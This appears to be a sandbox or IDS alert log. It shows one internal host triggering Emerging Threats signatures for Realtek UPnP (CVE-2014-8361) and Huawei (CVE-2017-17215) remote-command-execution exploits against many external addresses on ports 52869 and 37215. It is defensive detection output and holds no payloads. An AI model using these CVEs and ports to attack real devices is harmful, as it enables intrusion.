ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.21.143.158

Timestamp:	07/20/24-23:01:04.782707
SID:	2025132
Source Port:	56436
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.208.124.228

Timestamp:	07/20/24-23:01:08.672944
SID:	2027339
Source Port:	50556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.99.82.194

Timestamp:	07/20/24-23:01:01.521998
SID:	2027339
Source Port:	41562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.96.43.132

Timestamp:	07/20/24-23:01:02.070492
SID:	2829579
Source Port:	37118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.12.208.34

Timestamp:	07/20/24-23:02:20.068152
SID:	2025132
Source Port:	37824
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.90.100.113

Timestamp:	07/20/24-23:01:51.290015
SID:	2027339
Source Port:	45152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.175.17.192

Timestamp:	07/20/24-23:01:20.119972
SID:	2829579
Source Port:	44554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.78.0.230

Timestamp:	07/20/24-23:01:42.111275
SID:	2027339
Source Port:	43974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 99.181.48.189

Timestamp:	07/20/24-23:01:43.360543
SID:	2025132
Source Port:	54518
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.168.75.104

Timestamp:	07/20/24-23:01:42.813695
SID:	2027339
Source Port:	54032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 147.48.69.29

Timestamp:	07/20/24-23:01:49.555689
SID:	2025132
Source Port:	35016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.45.176.207

Timestamp:	07/20/24-23:01:20.131339
SID:	2829579
Source Port:	43742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.95.139.12

Timestamp:	07/20/24-23:01:53.344252
SID:	2027339
Source Port:	37504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 95.71.29.54

Timestamp:	07/20/24-23:02:05.374045
SID:	2831300
Source Port:	55868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.51.227

Timestamp:	07/20/24-23:01:11.634372
SID:	2835222
Source Port:	59056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 102.22.43.107

Timestamp:	07/20/24-23:01:41.318733
SID:	2027339
Source Port:	55298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.60.51.106

Timestamp:	07/20/24-23:02:02.751507
SID:	2831300
Source Port:	53576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.191.15.111

Timestamp:	07/20/24-23:01:42.939519
SID:	2027339
Source Port:	50474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 115.59.47.171

Timestamp:	07/20/24-23:01:43.951862
SID:	2025132
Source Port:	60714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 37.115.2.79

Timestamp:	07/20/24-23:01:47.775082
SID:	2831300
Source Port:	38104
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.140.184.210

Timestamp:	07/20/24-23:01:45.723019
SID:	2025132
Source Port:	41890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.190.219.204

Timestamp:	07/20/24-23:01:40.290003
SID:	2829579
Source Port:	56812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 192.226.51.190

Timestamp:	07/20/24-23:01:58.364551
SID:	2025132
Source Port:	48446
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.26.163.169

Timestamp:	07/20/24-23:01:53.057358
SID:	2027339
Source Port:	54552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.84.241.246

Timestamp:	07/20/24-23:01:42.509004
SID:	2027339
Source Port:	49594
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 40.23.131.130

Timestamp:	07/20/24-23:01:42.399678
SID:	2831300
Source Port:	60762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.157.181.46

Timestamp:	07/20/24-23:01:41.682135
SID:	2027339
Source Port:	42860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 115.28.108.81

Timestamp:	07/20/24-23:01:31.322288
SID:	2831300
Source Port:	41996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.90.210.240

Timestamp:	07/20/24-23:01:00.638305
SID:	2829579
Source Port:	42912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 72.213.126.209

Timestamp:	07/20/24-23:01:04.098080
SID:	2835222
Source Port:	42398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.14.54.254

Timestamp:	07/20/24-23:01:27.650870
SID:	2835222
Source Port:	53870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.130.78.45

Timestamp:	07/20/24-23:01:59.539512
SID:	2025132
Source Port:	35924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 150.220.0.209

Timestamp:	07/20/24-23:01:43.966760
SID:	2025132
Source Port:	56330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.140.14.0

Timestamp:	07/20/24-23:01:44.814790
SID:	2025132
Source Port:	60236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 148.121.203.188

Timestamp:	07/20/24-23:01:02.113054
SID:	2829579
Source Port:	57042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.200.219.60

Timestamp:	07/20/24-23:01:04.097857
SID:	2835222
Source Port:	55782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.56.45.233

Timestamp:	07/20/24-23:01:41.245523
SID:	2027339
Source Port:	58408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.83.163.85

Timestamp:	07/20/24-23:01:26.043735
SID:	2025132
Source Port:	46620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.201.27.61

Timestamp:	07/20/24-23:01:49.454456
SID:	2027339
Source Port:	49386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.45.105.246

Timestamp:	07/20/24-23:01:07.061779
SID:	2829579
Source Port:	46432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 51.209.215.233

Timestamp:	07/20/24-23:01:42.683079
SID:	2027339
Source Port:	38692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 32.76.174.48

Timestamp:	07/20/24-23:01:43.852550
SID:	2831300
Source Port:	41846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.54.52.201

Timestamp:	07/20/24-23:01:02.104571
SID:	2829579
Source Port:	43416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.232.195.38

Timestamp:	07/20/24-23:01:06.988055
SID:	2835222
Source Port:	58870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.250.162.49

Timestamp:	07/20/24-23:01:20.591324
SID:	2027339
Source Port:	43900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.63.159.44

Timestamp:	07/20/24-23:01:40.307218
SID:	2835222
Source Port:	58444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.209.80.73

Timestamp:	07/20/24-23:01:47.796509
SID:	2027339
Source Port:	52586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 44.137.32.198

Timestamp:	07/20/24-23:01:21.954501
SID:	2829579
Source Port:	56672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.43.122.73

Timestamp:	07/20/24-23:01:56.579360
SID:	2025132
Source Port:	50838
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 52.234.117.101

Timestamp:	07/20/24-23:01:13.152454
SID:	2025132
Source Port:	59356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.67.172.218

Timestamp:	07/20/24-23:02:09.321968
SID:	2027339
Source Port:	51482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.171.202.164

Timestamp:	07/20/24-23:01:56.007136
SID:	2027339
Source Port:	60990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.223.190.191

Timestamp:	07/20/24-23:01:59.234150
SID:	2027339
Source Port:	33340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.16.105.104

Timestamp:	07/20/24-23:01:02.047411
SID:	2835222
Source Port:	47744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.124.235.174

Timestamp:	07/20/24-23:01:44.718858
SID:	2831300
Source Port:	58092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 96.4.116.14

Timestamp:	07/20/24-23:01:04.115220
SID:	2835222
Source Port:	51988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.213.208.19

Timestamp:	07/20/24-23:01:47.614619
SID:	2831300
Source Port:	37214
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 222.178.130.155

Timestamp:	07/20/24-23:02:01.645032
SID:	2027339
Source Port:	54798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.5.72.210

Timestamp:	07/20/24-23:01:20.596401
SID:	2027339
Source Port:	39248
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.219.226.207

Timestamp:	07/20/24-23:01:53.261844
SID:	2027339
Source Port:	36412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.165.117.153

Timestamp:	07/20/24-23:01:32.032492
SID:	2835222
Source Port:	35612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.86.47.43

Timestamp:	07/20/24-23:01:12.853279
SID:	2027339
Source Port:	52536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.90.60.195

Timestamp:	07/20/24-23:01:11.817771
SID:	2829579
Source Port:	59020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.240.72.8

Timestamp:	07/20/24-23:01:45.331813
SID:	2027339
Source Port:	45648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 24.36.209.119

Timestamp:	07/20/24-23:01:34.053062
SID:	2829579
Source Port:	60982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.86.136.162

Timestamp:	07/20/24-23:01:02.702506
SID:	2025132
Source Port:	49530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.251.237.127

Timestamp:	07/20/24-23:01:27.654172
SID:	2829579
Source Port:	37200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.193.81.146

Timestamp:	07/20/24-23:01:02.359782
SID:	2025132
Source Port:	57764
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.166.180.100

Timestamp:	07/20/24-23:01:07.066373
SID:	2829579
Source Port:	59408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.128.96.121

Timestamp:	07/20/24-23:01:49.207937
SID:	2025132
Source Port:	37816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.159.45.191

Timestamp:	07/20/24-23:01:41.193880
SID:	2025132
Source Port:	34308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.135.212.156

Timestamp:	07/20/24-23:01:07.036064
SID:	2829579
Source Port:	36302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 120.98.109.98

Timestamp:	07/20/24-23:01:08.652877
SID:	2831300
Source Port:	47380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 205.132.5.218

Timestamp:	07/20/24-23:01:20.598095
SID:	2831300
Source Port:	52414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.69.127.248

Timestamp:	07/20/24-23:01:53.281781
SID:	2027339
Source Port:	39014
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 181.43.61.4

Timestamp:	07/20/24-23:01:10.711138
SID:	2025132
Source Port:	42232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.24.233.14

Timestamp:	07/20/24-23:01:43.005974
SID:	2027339
Source Port:	56290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.97.212.169

Timestamp:	07/20/24-23:01:57.101402
SID:	2027339
Source Port:	49536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.157.38.150

Timestamp:	07/20/24-23:01:27.650870
SID:	2829579
Source Port:	50818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.92.216.124

Timestamp:	07/20/24-23:01:31.317774
SID:	2831300
Source Port:	55592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.148.210.215

Timestamp:	07/20/24-23:01:41.374418
SID:	2027339
Source Port:	55916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.254.24.88

Timestamp:	07/20/24-23:01:14.095462
SID:	2829579
Source Port:	39338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.111.117.206

Timestamp:	07/20/24-23:01:46.241196
SID:	2027339
Source Port:	39282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 219.105.54.148

Timestamp:	07/20/24-23:01:08.614193
SID:	2831300
Source Port:	59036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.71.93.224

Timestamp:	07/20/24-23:01:25.503352
SID:	2027339
Source Port:	57016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.83.139.204

Timestamp:	07/20/24-23:01:00.638418
SID:	2829579
Source Port:	36698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.33.116.164

Timestamp:	07/20/24-23:01:08.655109
SID:	2027339
Source Port:	54774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.163.195.19

Timestamp:	07/20/24-23:01:42.693536
SID:	2025132
Source Port:	33042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 159.20.45.153

Timestamp:	07/20/24-23:01:08.578116
SID:	2831300
Source Port:	44384
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.90.49.252

Timestamp:	07/20/24-23:01:43.877765
SID:	2027339
Source Port:	46094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.191.217.231

Timestamp:	07/20/24-23:01:10.756983
SID:	2027339
Source Port:	60230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.229.180.34

Timestamp:	07/20/24-23:01:42.608153
SID:	2027339
Source Port:	40144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.33.84.180

Timestamp:	07/20/24-23:01:47.005094
SID:	2027339
Source Port:	41146
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 99.67.37.89

Timestamp:	07/20/24-23:01:11.634372
SID:	2835222
Source Port:	55954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.181.36.106

Timestamp:	07/20/24-23:01:25.656173
SID:	2027339
Source Port:	47368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.99.98.84

Timestamp:	07/20/24-23:01:02.057728
SID:	2835222
Source Port:	34020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 135.160.162.200

Timestamp:	07/20/24-23:01:51.932550
SID:	2831300
Source Port:	49520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.137.254.119

Timestamp:	07/20/24-23:00:59.168569
SID:	2829579
Source Port:	56512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 8.220.8.58

Timestamp:	07/20/24-23:01:45.713934
SID:	2831300
Source Port:	47396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

